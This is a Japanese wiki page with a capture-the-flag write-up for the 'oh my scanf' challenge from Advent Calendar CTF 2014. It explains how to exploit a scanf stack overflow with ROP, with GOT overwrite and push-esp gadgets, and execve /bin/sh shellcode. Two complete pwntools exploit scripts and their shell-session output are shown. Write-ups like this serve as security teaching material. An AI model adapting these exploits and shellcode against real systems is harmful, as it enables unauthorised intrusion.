Login
Immutable PageDiscussionInfoAttachments
ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-17

MMA

oh my scanf

問題

This is my first program.

oh_my_scanf.c oh_my_scanf

メモ

解法1

stack protectorもスタックのNXビットも無効になっているが,ASLRが有効。 いかにしてスタックに配置したシェルコードを実行するかが第一の問題である。

さらに,使用しているのがscanfであるためisspaceで空白とみなされる文字は使用できない。 09 0a 0b 0c 0d 20 (1cも?)を使用せずに入力を作成しなければならない。

まず試すのはReturn-to-registerであるが,利用できそうな命令列は発見できなかった。

最終的には以下のROPによりスタック上の命令列の実行を行った。

まずscanfにより任意のアドレスの書き換えが可能である。 scanfによってscanfのGOT書き換える。eaxにジャンプできる80484afを設定する。

 80484af:       ff d0                   call   *%eax

その後804850bにジャンプして,eaxにスタック上のアドレスをロードしてscanfを呼び出す。

 80484f7:       8d 44 24 10             lea    0x10(%esp),%eax
 80484fb:       89 44 24 04             mov    %eax,0x4(%esp)
 80484ff:       c7 04 24 c7 85 04 08    movl   $0x80485c7,(%esp)        # 80485c7="%s"...;
 8048506:       e8 a5 fe ff ff          call   80483b0 <__isoc99_scanf@plt>

なお,この直後に同様にprintfも同様に利用できそうな場所があるが, アドレスに0cが含まれておりscanfが文字列を切ってしまうので使用できない。

   1 import sys
   2 from pwn import *
   3 context(arch = 'i386', os = 'linux')
   4 
   5 EXPORT_INPUT = False
   6 
   7 call_eax = 0x80484af;
   8 
   9 rop = ""
  10 rop += p32(0x80483b0)       # scanf
  11 rop += p32(0x804858e)       # skip 2 words
  12 rop += p32(0x80485c7)       # "%s"
  13 rop += p32(0x804a008)       # GOT.scanf - 4*5  # 0x1c terminates a token?
  14 
  15 rop += p32(0x80484f7)       # eax=name; scanf
  16 
  17 shellcode = ""
  18 shellcode += asm("xor ecx, ecx")    # arg2
  19 shellcode += asm("xor edx, edx")    # arg3
  20 shellcode += asm("push `/sh`")
  21 shellcode += asm("push `/bin`")
  22 shellcode += asm("mov ebx, esp")    # arg1
  23 shellcode += asm("xor eax, eax")
  24 shellcode += asm("mov al, SYS_execve-3")
  25 shellcode += asm("add al, 3")
  26 shellcode += asm("int 0x80")
  27 
  28 s = "A"*28
  29 s += rop
  30 s += "A"*16
  31 s += shellcode
  32 
  33 if EXPORT_INPUT:
  34     sys.stdout.write(s + "\n")
  35     sys.stdout.write(p32(call_eax)*6 + "\n")
  36     exit(0)
  37 
  38 print hexii(s)
  39 
  40 #conn = process("./oh_my_scanf")
  41 conn = remote("pwnable.katsudon.org", 32100)
  42 conn.recvuntil(' ')
  43 conn.send(s + "\n")
  44 conn.send(p32(call_eax)*6 + "\n")
  45 
  46 sys.stdout.write(conn.recvline())
  47 conn.interactive()

% python exploit.py
00000000  .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A |
00000010  .A .A .A .A .A .A .A .A .A .A .A .A b0 83 04 08 |
00000020  8e 85 04 08 c7 85 04 08 08 a0 04 08 f7 84 04 08 |
00000030  .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A |
00000040  .1 c9 .1 d2 .h ./ .s .h    .h ./ .b .i .n 89 e3 |
00000050  .1 c0 b0 08 04 03 cd 80                         |
00000058
[+] Opening connection to pwnable.katsudon.org on port 32100: OK
hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x83\x0\x8e\x85\x0Dž\x\xa0\x0��AAAAAAAAAAAAAAA
A1�1�h/sh
[*] Switching to interactive mode
$ ls
flag
$ cat flag
ADCTF_Sc4NF_IS_PRe77Y_niCE
$ 

解法2

32bitのASLRはたかが知れているので力づくで回避。 NOPスレッドを3072バイトくらい置いてからシェルコードを配置すると,一応ローカルでは数千回に一回くらいは攻撃に成功する。

だが14日のサーバの悲鳴「サーバにやさしい問題をつくろう」宣言を見れば,こんなのが正攻法なわけはない。

解法3

多分これが正攻法。0x80483e0にpush esp; ...; retを実現するガジェットが存在した。

 80483e0:       ff f4                   push   %esp
 80483e2:       66 90                   xchg   %ax,%ax
 ...
 80483f0:       8b 1c 24                mov    (%esp),%ebx
 80483f3:       c3                      ret    

これを利用すれば,直ちにスタック上に実行位置が移る。

   1 from pwn import *
   2 context(arch = 'i386', os = 'linux')
   3 
   4 EXPORT_INPUT = False
   5 
   6 shellcode = ""
   7 shellcode += asm("xor ecx, ecx")    # arg2
   8 shellcode += asm("xor edx, edx")    # arg3
   9 shellcode += asm("push `/sh`")
  10 shellcode += asm("push `/bin`")
  11 shellcode += asm("mov ebx, esp")    # arg1
  12 shellcode += asm("xor eax, eax")
  13 shellcode += asm("mov al, SYS_execve-3")
  14 shellcode += asm("add al, 3")
  15 shellcode += asm("int 0x80")
  16 
  17 s = "A"*28
  18 s += p32(0x80483e0)   # push rsp; ...; ret
  19 s += shellcode
  20 
  21 if EXPORT_INPUT:
  22     sys.stdout.write(s + "\n")
  23     exit(0)
  24 
  25 print hexii(s)
  26 
  27 #conn = process("./oh_my_scanf")
  28 conn = remote("pwnable.katsudon.org", 32100)
  29 conn.recvuntil(' ')
  30 conn.send(s + "\n")
  31 
  32 sys.stdout.write(conn.recvline())
  33 conn.interactive()

% python exploit-v2.py
00000000  .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A |
00000010  .A .A .A .A .A .A .A .A .A .A .A .A e0 83 04 08 |
00000020  .1 c9 .1 d2 .h ./ .s .h    .h ./ .b .i .n 89 e3 |
00000030  .1 c0 b0 08 04 03 cd 80                         |
00000038
[+] Opening connection to pwnable.katsudon.org on port 32100: OK
hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAA��1�1�h/sh
[*] Switching to interactive mode
$ cat flag
ADCTF_Sc4NF_IS_PRe77Y_niCE

ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-17 (last edited 2015-01-11 17:51:14 by ytoku)